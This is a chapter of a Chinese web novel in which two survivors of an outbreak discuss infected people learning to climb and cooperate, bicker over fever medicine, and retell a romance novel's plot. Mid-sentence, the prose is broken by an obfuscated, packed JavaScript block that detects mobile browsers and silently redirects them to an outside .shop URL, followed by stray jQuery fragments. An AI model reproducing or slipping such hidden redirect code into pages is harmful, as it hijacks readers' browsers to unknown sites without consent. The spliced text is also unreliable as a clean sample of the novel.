“变了?你指什么?”
虞少微也看向江博言,与他目光对上。
江博言微皱了一下眉,陷入回忆,边想边说:“今天我被大批感染者追,被困在屋顶两个多小时……”
虞少微忍不住发出惊叹:“天呐,你竟然被困了两个多小时!”
江博言翻了一个没有感情的白眼,毫无预兆地提起在陈非车里发生的对话:“托陈非的福,我知道被困屋顶的这两个小时里你在干什么了。”
虞少微惊叹的话刚说完,看到江博言的脸色立刻识时务地竖起一根大拇指,怼到江博言眼前,掷地有声地赞叹道:“你真的太强了!”
江博言拍了她的手一下,正色道:“别闹了,先说正事。”
虞少微配合地做了一个封住自己嘴巴的动作,等江博言的后话。
于是江博言继续道:“这两个多小时里,我一直在观察感染者们的反应。一开始,他们见我爬上了屋顶,都处于一种茫然的状态,有原地等待的,有不断撞墙的,也有躁动不安攻击同类的。”
“但渐渐的,他们好像变了。起先是一个躁动的感染者不小心被一个等在原地的感染者绊了一跤,跌倒的过程把一个正在撞墙的感染者压在了身下。”
“其他感染者似乎在这一场景中习得了什么,他们仿佛有了意识般,把一些大块头的感染者推倒在墙下,再由身量轻的感染者爬上去,搭成人桥。”
“他们就那么一个接一个地往上爬,中间有过失败,但他们不知道痛,爬起来再接着尝试。”
“在一遍又一遍的尝试中,他们爬得越来越快,也越来越顺利,你找到我的时候,他们爬屋顶的行动已经几乎与正常人无异了。”
这一番话听得虞少微脊背发凉,让她禁不住思考起最初见到的感染者与如今遇到的感染者的区别。
她想起闯进家里的黄毛,刚变成感染者时歪歪扭扭路都走不稳,后来却有了破开出租屋大门的能力;
之前大部分感染者都在小区室外地面上活动,但现在他们扩大了活动范围,已经能够自由上下楼梯;
而且饿肚子的感染者,不再坐等幸存者出现,就像那个近视眼的感染者,他们会靠翻垃圾桶、捕捉动物等其他途径填饱肚子。
这些事件集中说明了一个问题,感染者们已经具有思考和学习的能力了。
而感染者们一旦会思考、会学习,这也意味着他们的能力将难以定义上限。
那作为被感染者当成猎捕对象的幸存者们,处境将更加危险,生存压力也急剧增强。
虞少微倒抽一口凉气,两只手使劲搓了搓脑袋:“他们确实不断在改变,而且变化速度也太快了些。”
她挠完头,下意识地看向江博言,想听听江博言还有什么想说的。
但没想到江博言也在看她,这么一来,两人眼神又对上了。
江博言望着她没说话,也没动,就那么盯着她。虞少微不甘示弱,也一动不动地盯回去。
两人大概对视了有一分钟之久,虞少微终于忍不住了,问:“你老盯着我干嘛?我脸上有东西吗?”
江博言的视线也终于游移了一下,落在她的头发上,嘲讽地开口:“你要不要去照照镜子?你现在就像一头狮子。”
虞少微的嘴角抽了抽,要不是看在江博言冒着生命危险去给他找退烧药的份上,她一定要徒手跟他干一架,教教他作为人应该怎么说话。
想起退烧药,虞少微“诶”了一声:“对了,你不是去找退烧药了吗?找到了吗?”
江博言脸上难得地闪过一丝不自在,把手伸进口袋掏出一盒布洛芬,药盒已经被压扁了,还有一些泥水痕迹。
他将手里的药盒“啪”一下子扔在虞少微旁边,好像那盒药自带高温,多么烫手一般。
“怕你烧成残废,逃命拖我后腿,我才去给你找药的,你可不要误会什么。”
虞少微把江博言那副别扭样看在眼里,哈哈笑了好几声才停下,配合他说:“你放心,我一定不会误会你是个好人,顾念同学旧情才帮助我的!”
虽然嘴上说着不会误会的话,但虞少微心里却在想:小样,姐可算看清你这个口是心非的幼稚鬼了。
可江博言不知怎么的,听完虞少微的话,脸色却不大好,好像有什么话堵在胸口,上不去,下不来,半晌破罐子破摔,来了一句:“算了,你愿意这样想就这样想好了。”
他这样的反应更让虞少微坚定了自己的想法。真是口是心非,连她把他的真实想法说出来都不愿意。
于是虞少微为了息事宁人,顺着他敷衍了几句:“好了好了,我不那样想行了吧。你帮我单纯是为了不让我烧成残废,逃命拖你后腿。”
虞少微完全复制粘贴了江博言自己说过的话,这回总没问题,不会惹得这位少爷不高兴了吧。
然而江博言的脸色却肉眼可见变得更差了,“腾”地一下站起来,一甩胳膊说:“今天我睡卧室,你继续睡客厅沙发。”话说完,头也不回地进了卧室。
虞少微没搞懂江博言的情绪变化,尚且愣在原地发呆。
那边的江博言在卧室转了一圈,拿了条毛毯,又出来了,说:“卧室被你吐得一股馊味,还是你自己去睡吧,把沙发还给我!”
说吧,他把手里的毛毯扔在沙发上,又脚步不停地去了楼下捯饬冰箱,翻找吃食。
时间不早了,他们又都比较累,随便对付了一口,就各自去休息了。
进入卧室的虞少微使劲嗅闻了一会,也没有闻到什么难闻气味。这一整天下来,呕吐过的污秽气息已经散尽了。
虞少微踮着脚走到卧室门口,伸着脑袋向客厅沙发上看去。
江博言这会已经躺下了,把小毛毯搭在身上。他一米八多的大个子,缩手缩脚地睡在沙发上,看起来有几分可怜。
看完这一幕的虞少微把头伸回来,关紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749204|209267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卧室门的同时耸了耸肩,心想:看来嗅觉灵敏也不是什么好事,还得可怜巴巴睡沙发。
这样想完,她理直气壮毫不心虚地躺到床上,打着滚地享受可以睡床的快乐。
接下来,虞少微过了两天太平日子。在这两天里,他们吃饱了喝足了也睡够了,又成了精神饱满的两条好汉。
虽然身体得到了充分休息,但精神上他们并没闲着。
江博言一直在关注着政府的救援信息,如果政府救援部队来到B市,他们做好了随时撤离的准备。
而虞少微则把之前读过的那本配角为陈非、舒曼铃的小说找出来,又读了一遍,把剧情记了个滚瓜烂熟。
这是一本现代言情小说,讲的是豪门里的恩怨情仇,叙事以几个主角的感情线发展为主。
小说里的男主周震天和女配舒曼铃因家族利益被强行绑定,由长辈做主定下婚约。
但男主周震天十分排斥这桩婚约,他喜欢的人是他的大学学妹宋语慈,因此他一直想方设法解除订婚。
舒曼铃原本对周震天没什么感觉,但她家境优渥、长相出众,走到哪都是众人追捧的对象,突然冒出一个与自己旗鼓相当的对象,还对她没意思,瞬间激起了她的征服欲。
这位小公主偏要棒打鸳鸯,拆散周震天和宋语慈,甚至不惜给周震天下药,打算霸王硬上弓。
不过她的诡计被周震天识破,下药也没能成功,更激起了周震天对她的厌恶。
于是在周震天和宋语慈两情相悦,你侬我侬之时,小公主舒曼铃为了发泄情绪,找到了与周震天容貌相似的陈非,把陈非当作替身。每当舒曼铃在周震天处受了气,她就会想着法地折腾陈非。
但这些陈非都不知道。在陈非的视角,他只是找了一个比较作,有些心理疾病的女朋友。
整本书剧情的转折点在一次极端天气降临后。几个主角所在的城市发生了暴风雨,舒曼铃被困在别墅里,幸亏陈非冒着危险跑去救她。
洪水冲毁了建筑,大部分房屋已经不能居住。还好当地政府在得知自然灾害即将降临这个消息的第一时间,建造了一座高塔,并派出飞机把幸存者接到高塔上安顿。
陈非救下舒曼铃时,救援飞机已经遗漏掉他们,没办法,他只能想尽办法,带着舒曼铃,自行前往高塔。
这之中,历经多少磨难不必再提,但最后总归是顺利抵达了高塔。
然而不止他们到了高塔,周震天和宋语慈也早已在高塔里面落脚。
舒曼铃看到周震天和宋语慈站在一起仿若神仙眷侣,又心生嫉妒,与高塔内的工作人员相互勾结,要害他们。
不过当然,她的加害没能成功,还被陈非识破了她的丑恶面目,最后她众叛亲离,成了家族弃子。
虞少微把整本小说的内容讲给江博言听,江博言听后,许久才找回自己的声音:“所以,你觉得小说里的陈非和我们遇到的陈非有什么关系呢?”